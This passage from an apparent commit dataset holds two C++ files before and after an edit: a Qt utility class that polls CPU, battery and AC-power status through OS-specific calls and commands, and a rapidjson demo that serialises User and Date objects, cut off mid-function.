QIODevice::ReadOnly);\r\n#endif\r\n\r\n    QTimer::singleShot (1000,\r\n                        Qt::PreciseTimer,\r\n                        this, SLOT (updateBatteryLevel()));\r\n}\r\n\r\n\/**\r\n * Queries for the current AC power source status\r\n *\/\r\nvoid Utilities::updateConnectedToAC()\r\n{\r\n#if defined Q_OS_WIN\r\n    GetSystemPowerStatus (&power);\r\n    m_connectedToAC = (power.ACLineStatus != 0);\r\n    emit connectedToACChanged();\r\n#else\r\n    m_connectedToACProcess.terminate();\r\n    m_connectedToACProcess.start (PWR_CMD, QIODevice::ReadOnly);\r\n#endif\r\n\r\n    QTimer::singleShot (1000,\r\n                        Qt::PreciseTimer,\r\n                        this, SLOT (updateConnectedToAC()));\r\n}\r\n\r\n\/**\r\n * Calculates the scale factor to apply to the UI.\r\n * \\note This function uses different procedures depending on the OS\r\n *\/\r\nvoid Utilities::calculateScaleRatio()\r\n{\r\n    bool enabled = m_settings->value (\"AutoScale\", true).toBool();\r\n\r\n    \/* Get scale factor using OS-specific code *\/\r\n#if defined Q_OS_WIN\r\n    HDC screen = GetDC (Q_NULLPTR);\r\n    m_ratio = (qreal) GetDeviceCaps (screen, LOGPIXELSX) \/ 96;\r\n    ReleaseDC (Q_NULLPTR, screen);\r\n#elif defined Q_OS_LINUX\r\n    m_ratio = qApp->primaryScreen()->physicalDotsPerInch() \/ 120;\r\n#endif\r\n\r\n    \/* Ensure that values between x.40 and x.65 round down to x.40 *\/\r\n    qreal decimals = m_ratio - (int) m_ratio;\r\n    if (decimals >= 0.40 && decimals <= 0.65)\r\n        m_ratio -= (decimals - 0.40);\r\n\r\n    \/* Ratio is too small to be useful to us *\/\r\n    if (!enabled || m_ratio < 1.2)\r\n        m_ratio = 1;\r\n\r\n    \/* Brag about the obtained result *\/\r\n    qDebug() << \"Scale factor set to:\" << m_ratio;\r\n}\r\n\r\n\/**\r\n * Reads the output of the process launched to get the CPU usage\r\n *\/\r\nvoid Utilities::readCpuUsageProcess (int exit_code)\r\n{\r\n    if (exit_code == EXIT_FAILURE)\r\n        return;\r\n\r\n#if defined Q_OS_MAC\r\n    m_cpuUsage = 0;\r\n    m_cpuProcess.terminate();\r\n    QByteArray data = m_cpuProcess.readAll();\r\n\r\n    if (!data.isEmpty() && data.length() >= 2) {\r\n        \/* Parse the digits of the percentage *\/\r\n        int t = data.at (0) - '0'; \/\/ Tens\r\n        int u = data.at (1) - '0'; \/\/ Units\r\n\r\n        \/* Check if process data is invalid *\/\r\n        if (t < 0) t = 0;\r\n        if (u < 0) u = 0;\r\n\r\n        \/* Update information *\/\r\n        m_cpuUsage = (t * 10) + u;\r\n        emit cpuUsageChanged();\r\n    }\r\n#endif\r\n}\r\n\r\n\/**\r\n * Reads the output of the process launched to get the battery level\r\n *\/\r\nvoid Utilities::readBatteryLevelProcess (int exit_code)\r\n{\r\n    if (exit_code == EXIT_FAILURE)\r\n        return;\r\n\r\n#if defined Q_OS_MAC || defined Q_OS_LINUX\r\n    m_batteryLevel = 0;\r\n    m_batteryLevelProcess.terminate();\r\n    QByteArray data = m_batteryLevelProcess.readAll();\r\n\r\n    if (!data.isEmpty()) {\r\n        \/* Parse the digits of the percentage *\/\r\n        int h = data.at (data.indexOf (\"%\") - 3) - '0'; \/\/ Hundreds\r\n        int t = data.at (data.indexOf (\"%\") - 2) - '0'; \/\/ Tens\r\n        int u = data.at (data.indexOf (\"%\") - 1) - '0'; \/\/ Units\r\n\r\n        \/* Check if process data is invalid *\/\r\n        if (h < 0) h = 0;\r\n        if (t < 0) t = 0;\r\n        if (u < 0) u = 0;\r\n\r\n        \/* Update information *\/\r\n        m_batteryLevel = (h * 100) + (t * 10) + u;\r\n        emit batteryLevelChanged();\r\n    }\r\n#endif\r\n}\r\n\r\n\/**\r\n * Reads the output of the process launched to get the AC power source status\r\n *\/\r\nvoid Utilities::readConnectedToACProcess (int exit_code)\r\n{\r\n    if (exit_code == EXIT_FAILURE)\r\n        return;\r\n\r\n#if defined Q_OS_MAC || defined Q_OS_LINUX\r\n    m_connectedToAC = false;\r\n    m_connectedToACProcess.terminate();\r\n    QByteArray data = m_connectedToACProcess.readAll();\r\n\r\n    if (!data.isEmpty()) {\r\n        m_connectedToAC = !data.contains (\"discharging\");\r\n        emit connectedToACChanged();\r\n    }\r\n#endif\r\n}\r\n\r\n#if defined Q_OS_LINUX\r\n\/**\r\n * Reads the current count of CPU jiffies from \/proc\/stat and return a pair\r\n * consisting of non-idle jiffies and total jiffies\r\n *\/\r\nQPair<quint64, quint64> Utilities::getCpuJiffies()\r\n{\r\n    quint64 totalJiffies = 0;\r\n    quint64 nonIdleJiffies = 0;\r\n\r\n    QFile file (\"\/proc\/stat\");\r\n    if (file.open (QFile::ReadOnly)) {\r\n        QString line = file.readLine();\r\n        QStringList jiffies = line.replace (\"cpu  \", \"\").split (\" \");\r\n\r\n        if (jiffies.count() > 3) {\r\n            nonIdleJiffies = jiffies.at (0).toInt() + jiffies.at (2).toInt();\r\n            totalJiffies = nonIdleJiffies + jiffies.at (3).toInt();\r\n        }\r\n\r\n        file.close();\r\n    }\r\n\r\n    return qMakePair (nonIdleJiffies, totalJiffies);\r\n}\r\n#endif\r\n<commit_msg>Fixed Linux CPU usage GUI update<commit_after>\/*\r\n * Copyright (c) 2015-2016 Alex Spataru <alex_spataru@outlook.com>\r\n *\r\n * Permission is hereby granted, free of charge, to any person obtaining a copy\r\n * of this software and associated documentation files (the \"Software\"), to deal\r\n * in the Software without restriction, including without limitation the rights\r\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n * copies of the Software, and to permit persons to whom the Software is\r\n * furnished to do so, subject to the following conditions:\r\n *\r\n * The above copyright notice and this permission notice shall be included in\r\n * all copies or substantial portions of the Software.\r\n *\r\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n * THE SOFTWARE.\r\n *\/\r\n\r\n#include \"utilities.h\"\r\n\r\n#include <QTimer>\r\n#include <QDebug>\r\n#include <QScreen>\r\n#include <QSettings>\r\n#include <QClipboard>\r\n#include <QApplication>\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Windows hacks\r\n\/\/------------------------------------------------------------------------------\r\n\r\n#if defined Q_OS_WIN\r\n    #include <pdh.h>\r\n    #include <tchar.h>\r\n    #include <windows.h>\r\n    #include <windowsx.h>\r\n\r\n    static PDH_HQUERY cpuQuery;\r\n    static PDH_HCOUNTER cpuTotal;\r\n    static SYSTEM_POWER_STATUS power;\r\n#endif\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Mac OS hacks\r\n\/\/------------------------------------------------------------------------------\r\n\r\n#if defined Q_OS_MAC\r\n    static const QString CPU_CMD = \"bash -c \\\"ps -A -o %cpu | \"\r\n    \"awk '{s+=$1} END {print s}'\\\"\";\r\n    static const QString BTY_CMD = \"pmset -g batt\";\r\n    static const QString PWR_CMD = \"pmset -g batt\";\r\n#endif\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Linux hacks\r\n\/\/------------------------------------------------------------------------------\r\n\r\n#if defined Q_OS_LINUX\r\n    #include <QFile>\r\n    #include <QRegExp>\r\n\r\n    static const QString BTY_CMD = \"bash -c \\\"upower -i \"\r\n    \"$(upower -e | grep 'BAT') | \"\r\n    \"grep -E 'state|to\\\\ full|percentage'\\\"\";\r\n    static const QString PWR_CMD = \"bash -c \\\"upower -i \"\r\n    \"$(upower -e | grep 'BAT') | \"\r\n    \"grep -E 'state|to\\\\ full|percentage'\\\"\";\r\n#endif\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Ensure that application compiles even if OS is not supported\r\n\/\/------------------------------------------------------------------------------\r\n\r\n#if !defined Q_OS_WIN && !defined Q_OS_MAC && !defined Q_OS_LINUX\r\n    static const QString CPU_CMD = \"\";\r\n    static const QString BTY_CMD = \"\";\r\n    static const QString PWR_CMD = \"\";\r\n#endif\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Start class code\r\n\/\/------------------------------------------------------------------------------\r\n\r\n\/**\r\n * Configures the class and nitializes the CPU querying process under Windows.\r\n *\/\r\nUtilities::Utilities()\r\n{\r\n    m_ratio = 0;\r\n    m_cpuUsage = 0;\r\n    m_batteryLevel = 0;\r\n    m_connectedToAC = 0;\r\n\r\n    m_settings = new QSettings (qApp->organizationName(),\r\n                                qApp->applicationName());\r\n\r\n    \/* Read process data when they finish *\/\r\n    connect (&m_cpuProcess,           SIGNAL (finished                 (int)),\r\n             this,                      SLOT (readCpuUsageProcess      (int)));\r\n    connect (&m_batteryLevelProcess,  SIGNAL (finished                 (int)),\r\n             this,                      SLOT (readBatteryLevelProcess  (int)));\r\n    connect (&m_connectedToACProcess, SIGNAL (finished                 (int)),\r\n             this,                      SLOT (readConnectedToACProcess (int)));\r\n\r\n    \/* Kill the probing processes when application quits *\/\r\n    connect (qApp,                  SIGNAL (aboutToQuit()),\r\n             &m_cpuProcess,           SLOT (kill()));\r\n    connect (qApp,                  SIGNAL (aboutToQuit()),\r\n             &m_batteryLevelProcess,  SLOT (kill()));\r\n    connect (qApp,                  SIGNAL (aboutToQuit()),\r\n             &m_connectedToACProcess, SLOT (kill()));\r\n\r\n    \/* Configure Windows *\/\r\n#if defined Q_OS_WIN\r\n    PdhOpenQuery (0, 0, &cpuQuery);\r\n    PdhAddCounter (cpuQuery,\r\n                   L\"\\\\Processor(_Total)\\\\% Processor Time\",\r\n                   0,\r\n                   &cpuTotal);\r\n    PdhCollectQueryData (cpuQuery);\r\n#endif\r\n\r\n    \/* Start loop *\/\r\n    updateCpuUsage();\r\n    updateBatteryLevel();\r\n    updateConnectedToAC();\r\n}\r\n\r\n\/**\r\n * Returns the auto-calculates scale ratio\r\n *\/\r\nqreal Utilities::scaleRatio()\r\n{\r\n    if (m_ratio < 1)\r\n        calculateScaleRatio();\r\n\r\n    return m_ratio;\r\n}\r\n\r\n\/**\r\n * Returns the current CPU usage (from 0 to 100)\r\n *\/\r\nint Utilities::cpuUsage()\r\n{\r\n    m_cpuUsage = abs (m_cpuUsage);\r\n\r\n    if (m_cpuUsage <= 100)\r\n        return m_cpuUsage;\r\n\r\n    return 0;\r\n}\r\n\r\n\/**\r\n * Returns the current battery level (from 0 to 100)\r\n *\/\r\nint Utilities::batteryLevel()\r\n{\r\n    m_batteryLevel = abs (m_batteryLevel);\r\n\r\n    if (m_batteryLevel <= 100)\r\n        return m_batteryLevel;\r\n\r\n    return 0;\r\n}\r\n\r\n\/**\r\n * Returns \\c true if the computer is connected to a power source or the\r\n * battery is not discharging.\r\n *\/\r\nbool Utilities::isConnectedToAC()\r\n{\r\n    return m_connectedToAC;\r\n}\r\n\r\n\/**\r\n * Copies the given \\a data to the system clipboard\r\n *\/\r\nvoid Utilities::copy (const QVariant& data)\r\n{\r\n    qApp->clipboard()->setText (data.toString(), QClipboard::Clipboard);\r\n}\r\n\r\n\/**\r\n * Enables or disables the autoscale feature.\r\n * \\note The application must be restarted for changes to take effect\r\n *\/\r\nvoid Utilities::setAutoScaleEnabled (const bool enabled)\r\n{\r\n    m_settings->setValue (\"AutoScale\", enabled);\r\n}\r\n\r\n\/**\r\n * Queries for the current CPU usage\r\n *\/\r\nvoid Utilities::updateCpuUsage()\r\n{\r\n#if defined Q_OS_WIN\r\n    PDH_FMT_COUNTERVALUE counterVal;\r\n    PdhCollectQueryData (cpuQuery);\r\n    PdhGetFormattedCounterValue (cpuTotal, PDH_FMT_DOUBLE, 0, &counterVal);\r\n    m_cpuUsage = static_cast<int> (counterVal.doubleValue);\r\n    emit cpuUsageChanged();\r\n#elif defined Q_OS_MAC\r\n    m_cpuProcess.terminate();\r\n    m_cpuProcess.start (CPU_CMD, QIODevice::ReadOnly);\r\n#elif defined Q_OS_LINUX\r\n    auto cpuJiffies = getCpuJiffies();\r\n\r\n    m_cpuUsage = (cpuJiffies.first - m_pastCpuJiffies.first) * 100 \/\r\n                 (cpuJiffies.second - m_pastCpuJiffies.second);\r\n\r\n    m_pastCpuJiffies = cpuJiffies;\r\n    emit cpuUsageChanged();\r\n#endif\r\n\r\n    QTimer::singleShot (1000,\r\n                        Qt::PreciseTimer,\r\n                        this, SLOT (updateCpuUsage()));\r\n}\r\n\r\n\/**\r\n * Queries for the current battery level\r\n *\/\r\nvoid Utilities::updateBatteryLevel()\r\n{\r\n#if defined Q_OS_WIN\r\n    GetSystemPowerStatus (&power);\r\n    m_batteryLevel = static_cast<int> (power.BatteryLifePercent);\r\n    emit batteryLevelChanged();\r\n#else\r\n    m_batteryLevelProcess.terminate();\r\n    m_batteryLevelProcess.start (BTY_CMD, QIODevice::ReadOnly);\r\n#endif\r\n\r\n    QTimer::singleShot (1000,\r\n                        Qt::PreciseTimer,\r\n                        this, SLOT (updateBatteryLevel()));\r\n}\r\n\r\n\/**\r\n * Queries for the current AC power source status\r\n *\/\r\nvoid Utilities::updateConnectedToAC()\r\n{\r\n#if defined Q_OS_WIN\r\n    GetSystemPowerStatus (&power);\r\n    m_connectedToAC = (power.ACLineStatus != 0);\r\n    emit connectedToACChanged();\r\n#else\r\n    m_connectedToACProcess.terminate();\r\n    m_connectedToACProcess.start (PWR_CMD, QIODevice::ReadOnly);\r\n#endif\r\n\r\n    QTimer::singleShot (1000,\r\n                        Qt::PreciseTimer,\r\n                        this, SLOT (updateConnectedToAC()));\r\n}\r\n\r\n\/**\r\n * Calculates the scale factor to apply to the UI.\r\n * \\note This function uses different procedures depending on the OS\r\n *\/\r\nvoid Utilities::calculateScaleRatio()\r\n{\r\n    bool enabled = m_settings->value (\"AutoScale\", true).toBool();\r\n\r\n    \/* Get scale factor using OS-specific code *\/\r\n#if defined Q_OS_WIN\r\n    HDC screen = GetDC (Q_NULLPTR);\r\n    m_ratio = (qreal) GetDeviceCaps (screen, LOGPIXELSX) \/ 96;\r\n    ReleaseDC (Q_NULLPTR, screen);\r\n#elif defined Q_OS_LINUX\r\n    m_ratio = qApp->primaryScreen()->physicalDotsPerInch() \/ 120;\r\n#endif\r\n\r\n    \/* Ensure that values between x.40 and x.65 round down to x.40 *\/\r\n    qreal decimals = m_ratio - (int) m_ratio;\r\n    if (decimals >= 0.40 && decimals <= 0.65)\r\n        m_ratio -= (decimals - 0.40);\r\n\r\n    \/* Ratio is too small to be useful to us *\/\r\n    if (!enabled || m_ratio < 1.2)\r\n        m_ratio = 1;\r\n\r\n    \/* Brag about the obtained result *\/\r\n    qDebug() << \"Scale factor set to:\" << m_ratio;\r\n}\r\n\r\n\/**\r\n * Reads the output of the process launched to get the CPU usage\r\n *\/\r\nvoid Utilities::readCpuUsageProcess (int exit_code)\r\n{\r\n    if (exit_code == EXIT_FAILURE)\r\n        return;\r\n\r\n#if defined Q_OS_MAC\r\n    m_cpuUsage = 0;\r\n    m_cpuProcess.terminate();\r\n    QByteArray data = m_cpuProcess.readAll();\r\n\r\n    if (!data.isEmpty() && data.length() >= 2) {\r\n        \/* Parse the digits of the percentage *\/\r\n        int t = data.at (0) - '0'; \/\/ Tens\r\n        int u = data.at (1) - '0'; \/\/ Units\r\n\r\n        \/* Check if process data is invalid *\/\r\n        if (t < 0) t = 0;\r\n        if (u < 0) u = 0;\r\n\r\n        \/* Update information *\/\r\n        m_cpuUsage = (t * 10) + u;\r\n        emit cpuUsageChanged();\r\n    }\r\n#endif\r\n}\r\n\r\n\/**\r\n * Reads the output of the process launched to get the battery level\r\n *\/\r\nvoid Utilities::readBatteryLevelProcess (int exit_code)\r\n{\r\n    if (exit_code == EXIT_FAILURE)\r\n        return;\r\n\r\n#if defined Q_OS_MAC || defined Q_OS_LINUX\r\n    m_batteryLevel = 0;\r\n    m_batteryLevelProcess.terminate();\r\n    QByteArray data = m_batteryLevelProcess.readAll();\r\n\r\n    if (!data.isEmpty()) {\r\n        \/* Parse the digits of the percentage *\/\r\n        int h = data.at (data.indexOf (\"%\") - 3) - '0'; \/\/ Hundreds\r\n        int t = data.at (data.indexOf (\"%\") - 2) - '0'; \/\/ Tens\r\n        int u = data.at (data.indexOf (\"%\") - 1) - '0'; \/\/ Units\r\n\r\n        \/* Check if process data is invalid *\/\r\n        if (h < 0) h = 0;\r\n        if (t < 0) t = 0;\r\n        if (u < 0) u = 0;\r\n\r\n        \/* Update information *\/\r\n        m_batteryLevel = (h * 100) + (t * 10) + u;\r\n        emit batteryLevelChanged();\r\n    }\r\n#endif\r\n}\r\n\r\n\/**\r\n * Reads the output of the process launched to get the AC power source status\r\n *\/\r\nvoid Utilities::readConnectedToACProcess (int exit_code)\r\n{\r\n    if (exit_code == EXIT_FAILURE)\r\n        return;\r\n\r\n#if defined Q_OS_MAC || defined Q_OS_LINUX\r\n    m_connectedToAC = false;\r\n    m_connectedToACProcess.terminate();\r\n    QByteArray data = m_connectedToACProcess.readAll();\r\n\r\n    if (!data.isEmpty()) {\r\n        m_connectedToAC = !data.contains (\"discharging\");\r\n        emit connectedToACChanged();\r\n    }\r\n#endif\r\n}\r\n\r\n#if defined Q_OS_LINUX\r\n\/**\r\n * Reads the current count of CPU jiffies from \/proc\/stat and return a pair\r\n * consisting of non-idle jiffies and total jiffies\r\n *\/\r\nQPair<quint64, quint64> Utilities::getCpuJiffies()\r\n{\r\n    quint64 totalJiffies = 0;\r\n    quint64 nonIdleJiffies = 0;\r\n\r\n    QFile file (\"\/proc\/stat\");\r\n    if (file.open (QFile::ReadOnly)) {\r\n        QString line = file.readLine();\r\n        QStringList jiffies = line.replace (\"cpu  \", \"\").split (\" \");\r\n\r\n        if (jiffies.count() > 3) {\r\n            nonIdleJiffies = jiffies.at (0).toInt() + jiffies.at (2).toInt();\r\n            totalJiffies = nonIdleJiffies + jiffies.at (3).toInt();\r\n        }\r\n\r\n        file.close();\r\n    }\r\n\r\n    return qMakePair (nonIdleJiffies, totalJiffies);\r\n}\r\n#endif\r\n<|endoftext|>"}
{"text":"<commit_before>\/* vim: set ai et ts=4 sw=4: *\/\n\n#include \"rapidjson\/document.h\"\n#include \"rapidjson\/prettywriter.h\"\n#include \"rapidjson\/stringbuffer.h\"\n#include \"rapidjson\/writer.h\"\n#include <cstdint>\n#include <iostream>\n#include <sstream>\n#include <stdexcept>\n\nclass Date {\npublic:\n    Date(uint16_t year, uint8_t month, uint8_t day)\n      : _year(year)\n      , _month(month)\n      , _day(day) {\n    }\n\n    static Date fromJSON(const rapidjson::Value& doc) {\n        if(!doc.IsArray())\n            throw std::runtime_error(\"Date::fromJSON - document is not an array\");\n\n        if(doc.Size() != 3)\n            throw std::runtime_error(\"Date::fromJSON - wrong array size\");\n\n        uint16_t year = doc[0].GetInt();\n        uint8_t month = doc[1].GetInt();\n        uint8_t day = doc[2].GetInt();\n\n        Date result(year, month, day);\n        return result;\n    }\n\n    rapidjson::Document toJSON() {\n        rapidjson::Document doc;\n        auto& allocator = doc.GetAllocator();\n        doc.SetArray().PushBack(_year, allocator).PushBack(_month, allocator).PushBack(_day, allocator);\n        return doc;\n    }\n\n    uint16_t getYear() const {\n        return _year;\n    }\n\n    uint8_t getMonth() const {\n        return _month;\n    }\n\n    uint8_t getDay() const {\n        return _day;\n    }\n\n    Date& setYear(uint16_t year) {\n        _year = year;\n        return *this;\n    }\n\n    Date& setMonth(uint8_t month) {\n        _month = month;\n        return *this;\n    }\n\n    Date& setDay(uint8_t day) {\n        _day = day;\n        return *this;\n    }\n\nprivate:\n    uint16_t _year;\n    uint8_t _month;\n    uint8_t _day;\n};\n\nclass User {\npublic:\n    User(uint64_t id, const std::string& name, uint64_t phone, Date birthday)\n      : _id(id)\n      , _name(name)\n      , _phone(phone)\n      , _birthday(birthday) {\n    }\n\n    static User fromJSON(const rapidjson::Value& doc) {\n        if(!doc.IsObject())\n            throw std::runtime_error(\"User::fromJSON() - document should be an object\");\n\n        static const char* members[] = {\"id\", \"name\", \"phone\", \"birthday\"};\n        for(size_t i = 0; i < sizeof(members) \/ sizeof(members[0]); i++) {\n            if(!doc.HasMember(members[i]))\n                throw std::runtime_error(\"User::fromJSON() - invalid JSON, missing fields\");\n        }\n\n        if(!doc[\"id\"].IsNumber())\n            throw std::runtime_error(\"User::fromJSON() - invalid JSON, `id` should be an integer\");\n\n        if(!doc[\"name\"].IsString())\n            throw std::runtime_error(\"User::fromJSON() - invalid JSON, `name` should be a string\");\n\n        if(!doc[\"phone\"].IsNumber())\n            throw std::runtime_error(\"User::fromJSON() - invalid JSON, `phone` should be an integer\");\n\n        if(!doc[\"birthday\"].IsArray())\n            throw std::runtime_error(\"User::fromJSON() - invalid JSON, `birthday` should be an array\");\n\n        uint64_t id = doc[\"id\"].GetUint64();\n        std::string name = doc[\"name\"].GetString();\n        uint64_t phone = doc[\"phone\"].GetUint64();\n        Date birthday = Date::fromJSON(doc[\"birthday\"]);\n\n        User result(id, name, phone, birthday);\n        return result;\n    }\n\n    rapidjson::Document toJSON() {\n        rapidjson::Value json_val;\n        rapidjson::Document doc;\n        auto& allocator = doc.GetAllocator();\n\n        doc.SetObject();\n\n        json_val.SetUint64(_id);\n        doc.AddMember(\"id\", json_val, allocator);\n\n        json_val.SetString(_name.c_str(), allocator);\n        doc.AddMember(\"name\", json_val, allocator);\n\n        \/\/ see http:\/\/rapidjson.org\/md_doc_tutorial.html#DeepCopyValue\n        json_val.CopyFrom(_birthday.toJSON(), allocator);\n        doc.AddMember(\"birthday\", json_val, allocator);\n\n        json_val.SetUint64(_phone);\n        doc.AddMember(\"phone\", json_val, allocator);\n\n        return doc;\n    }\n\n    uint64_t getId() const {\n        return _id;\n    }\n\n    const std::string& getName() const {\n        return _name;\n    }\n\n    uint64_t getPhone() const {\n        return _phone;\n    }\n\n    Date getBirthday() const {\n        return _birthday;\n    }\n\n    User& setName(const std::string& name) {\n        _name = name;\n        return *this;\n    }\n\n    User& setPhone(uint64_t phone) {\n        _phone = phone;\n        return *this;\n    }\n\n    User& setBirthday(Date birthday) {\n        _birthday = birthday;\n        return *this;\n    }\n\nprivate:\n    uint64_t _id;\n    std::string _name;\n    uint64_t _phone;\n    Date _birthday;\n};\n\nstd::ostream& operator<<(std::ostream& os, const Date& date) {\n    os << \"Date(year = \" << date.getYear() << \", month = \" << (int)date.getMonth() << \", day = \" << (int)date.getDay()\n       << \")\";\n    return os;\n}\n\nstd::ostream& operator<<(std::ostream& os, const User& user) {\n    os << \"User(id = \" << user.getId() << \", name = \" << user.getName() << \", phone = \" << user.getPhone()\n       << \", birthday = \" << user.getBirthday() << \")\";\n    return os;\n}\n\nDate readDate() {\n    std::string line;\n    uint16_t year, month, day;\n\n    std::cout << \"Year: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> year;\n\n    std::cout << \"Month: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> month;\n\n    std::cout << \"Day: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> day;\n\n    Date result(year, (uint8_t)month, (uint8_t)day);\n    return result;\n}\n\nUser readUser() {\n    uint64_t id;\n    uint64_t phone;\n    std::string name, line;\n\n    std::cout << \"Id: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> id;\n\n    std::cout << \"Name: \";\n    std::getline(std::cin, name);\n\n    std::cout << \"Phone: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> phone;\n\n    std::cout << \"--- Birthday ---\" << std::endl;\n    Date birthday = readDate();\n    std::cout << \"----------------\" << std::endl;\n\n    User result(id, name, phone, birthday);\n    return result;\n}\n\nint main() {\n    User user = readUser();\n    std::cout << user << std::endl;\n\n    {\n        rapidjson::Document doc = user.toJSON();\n        rapidjson::StringBuffer buffer;\n        \/\/ rapidjson::Writer<rapidjson::StringBuffer> writer(buffer);\n        rapidjson::PrettyWriter<rapidjson::StringBuffer> writer(buffer);\n        doc.Accept(writer);\n        std::cout << buffer.GetString() << std::endl;\n\n        User decodedUser = User::fromJSON(doc);\n        std::cout << decodedUser << std::endl;\n    }\n\n    return 0;\n}\n<commit_msg>Run clang-format<commit_after>\/* vim: set ai et ts=4 sw=4: *\/\n\n#include \"rapidjson\/document.h\"\n#include \"rapidjson\/prettywriter.h\"\n#include \"rapidjson\/stringbuffer.h\"\n#include \"rapidjson\/writer.h\"\n#include <cstdint>\n#include <iostream>\n#include <sstream>\n#include <stdexcept>\n\nclass Date {\npublic:\n    Date(uint16_t year, uint8_t month, uint8_t day)\n      : _year(year)\n      , _month(month)\n      , _day(day) {\n    }\n\n    static Date fromJSON(const rapidjson::Value& doc) {\n        if(!doc.IsArray())\n            throw std::runtime_error(\"Date::fromJSON - document is not an array\");\n\n        if(doc.Size() != 3)\n            throw std::runtime_error(\"Date::fromJSON - wrong array size\");\n\n        uint16_t year = doc[0].GetInt();\n        uint8_t month = doc[1].GetInt();\n        uint8_t day = doc[2].GetInt();\n\n        Date result(year, month, day);\n        return result;\n    }\n\n    rapidjson::Document toJSON() {\n        rapidjson::Document doc;\n        auto& allocator = doc.GetAllocator();\n        doc.SetArray().PushBack(_year, allocator).PushBack(_month, allocator).PushBack(_day, allocator);\n        return doc;\n    }\n\n    uint16_t getYear() const {\n        return _year;\n    }\n\n    uint8_t getMonth() const {\n        return _month;\n    }\n\n    uint8_t getDay() const {\n        return _day;\n    }\n\n    Date& setYear(uint16_t year) {\n        _year = year;\n        return *this;\n    }\n\n    Date& setMonth(uint8_t month) {\n        _month = month;\n        return *this;\n    }\n\n    Date& setDay(uint8_t day) {\n        _day = day;\n        return *this;\n    }\n\nprivate:\n    uint16_t _year;\n    uint8_t _month;\n    uint8_t _day;\n};\n\nclass User {\npublic:\n    User(uint64_t id, const std::string& name, uint64_t phone, Date birthday)\n      : _id(id)\n      , _name(name)\n      , _phone(phone)\n      , _birthday(birthday) {\n    }\n\n    static User fromJSON(const rapidjson::Value& doc) {\n        if(!doc.IsObject())\n            throw std::runtime_error(\"User::fromJSON() - document should be an object\");\n\n        static const char* members[] = { \"id\", \"name\", \"phone\", \"birthday\" };\n        for(size_t i = 0; i < sizeof(members) \/ sizeof(members[0]); i++) {\n            if(!doc.HasMember(members[i]))\n                throw std::runtime_error(\"User::fromJSON() - invalid JSON, missing fields\");\n        }\n\n        if(!doc[\"id\"].IsNumber())\n            throw std::runtime_error(\"User::fromJSON() - invalid JSON, `id` should be an integer\");\n\n        if(!doc[\"name\"].IsString())\n            throw std::runtime_error(\"User::fromJSON() - invalid JSON, `name` should be a string\");\n\n        if(!doc[\"phone\"].IsNumber())\n            throw std::runtime_error(\"User::fromJSON() - invalid JSON, `phone` should be an integer\");\n\n        if(!doc[\"birthday\"].IsArray())\n            throw std::runtime_error(\"User::fromJSON() - invalid JSON, `birthday` should be an array\");\n\n        uint64_t id = doc[\"id\"].GetUint64();\n        std::string name = doc[\"name\"].GetString();\n        uint64_t phone = doc[\"phone\"].GetUint64();\n        Date birthday = Date::fromJSON(doc[\"birthday\"]);\n\n        User result(id, name, phone, birthday);\n        return result;\n    }\n\n    rapidjson::Document toJSON() {\n        rapidjson::Value json_val;\n        rapidjson::Document doc;\n        auto& allocator = doc.GetAllocator();\n\n        doc.SetObject();\n\n        json_val.SetUint64(_id);\n        doc.AddMember(\"id\", json_val, allocator);\n\n        json_val.SetString(_name.c_str(), allocator);\n        doc.AddMember(\"name\", json_val, allocator);\n\n        \/\/ see http:\/\/rapidjson.org\/md_doc_tutorial.html#DeepCopyValue\n        json_val.CopyFrom(_birthday.toJSON(), allocator);\n        doc.AddMember(\"birthday\", json_val, allocator);\n\n        json_val.SetUint64(_phone);\n        doc.AddMember(\"phone\", json_val, allocator);\n\n        return doc;\n    }\n\n    uint64_t getId() const {\n        return _id;\n    }\n\n    const std::string& getName() const {\n        return _name;\n    }\n\n    uint64_t getPhone() const {\n        return _phone;\n    }\n\n    Date getBirthday() const {\n        return _birthday;\n    }\n\n    User& setName(const std::string& name) {\n        _name = name;\n        return *this;\n    }\n\n    User& setPhone(uint64_t phone) {\n        _phone = phone;\n        return *this;\n    }\n\n    User& setBirthday(Date birthday) {\n        _birthday = birthday;\n        return *this;\n    }\n\nprivate:\n    uint64_t _id;\n    std::string _name;\n    uint64_t _phone;\n    Date _birthday;\n};\n\nstd::ostream& operator<<(std::ostream& os, const Date& date) {\n    os << \"Date(year = \" << date.getYear() << \", month = \" << (int)date.getMonth() << \", day = \" << (int)date.getDay()\n       << \")\";\n    return os;\n}\n\nstd::ostream& operator<<(std::ostream& os, const User& user) {\n    os << \"User(id = \" << user.getId() << \", name = \" << user.getName() << \", phone = \" << user.getPhone()\n       << \", birthday = \" << user.getBirthday() << \")\";\n    return os;\n}\n\nDate readDate() {\n    std::string line;\n    uint16_t year, month, day;\n\n    std::cout << \"Year: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> year;\n\n    std::cout << \"Month: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> month;\n\n    std::cout << \"Day: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> day;\n\n    Date result(year, (uint8_t)month, (uint8_t)day);\n    return result;\n}\n\nUser readUser() {\n    uint64_t id;\n    uint64_t phone;\n    std::string name, line;\n\n    std::cout << \"Id: \";\n    std::getline(std::cin, line);\n    std::stringstream(line) >> id;\n\n    std::cout << \"Name: \";\n    